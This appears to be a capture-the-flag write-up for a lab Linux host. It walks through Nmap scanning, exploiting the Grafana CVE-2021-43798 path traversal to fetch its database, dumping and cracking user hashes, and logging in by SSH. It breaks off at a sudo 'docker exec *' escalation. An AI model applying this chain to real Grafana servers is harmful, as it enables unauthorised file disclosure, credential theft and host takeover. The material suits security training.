A Linux machine where a path traversal in a popular metrics platform leaks its own database — and a misconfigured container environment offers an unconventional route to the underlying host.
Tools
sqlite3
grafana2hashcat
hashcat
Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[~] └─$ sudo nmap -sC -sV -p22,3000 10.129.3.91 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-12 14:57 EST Nmap scan report for 10.129.3.91 Host is up (0.26s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA) | 256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA) |_ 256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519) 3000/tcp open ppp? | Location: /login
Foothold
Accessing http://10.129.3.91:3000/ redirects to the Grafana login page. The footer reveals the application is running Grafana v8.0.0.
Grafana v8.0.0 is vulnerable to CVE-2021-43798, a directory traversal vulnerability that allows unauthenticated file disclosure via plugin paths. This vulnerability permits traversal outside the /public/plugins/ directory, enabling arbitrary file reads.
Since the vulnerability allows arbitrary file disclosure, the Grafana SQLite database located at /var/lib/grafana/grafana.db can be retrieved using path traversal.
Using sqlite3, the contents of the database can be inspected to extract credentials and other sensitive data.
1 2 3 4 5 6 7
$ sqlite3 grafana.db sqlite> .tables <-SNIP-> sqlite> select * from user; sqlite> select login, password, salt from user; admin|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl
The user table stores password hashes and salts for two users: admin and boris.
Grafana hash digests are not in a format directly supported by common password cracking tools. It uses PBKDF2-HMAC-SHA256 with 10,000 iterations, storing hashes in hexadecimal format and salts in plaintext.
The hashes are converted to Hashcat format using the grafana2hashcat tool.
The hash for boris is successfully cracked, revealing valid credentials: boris:beautiful1. These credentials allow authentication via SSH.
1 2 3
$ ssh boris@10.129.3.91
boris@data:~$ cat user.txt
Privilege Escalation
Checking sudo permissions:
1 2 3 4 5 6
boris@data:~$ sudo -l Matching Defaults entries for boris on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost: (root) NOPASSWD: /snap/bin/docker exec *
The wildcard allows arbitrary arguments to be supplied to docker exec.
Inspecting running processes reveals the container ID.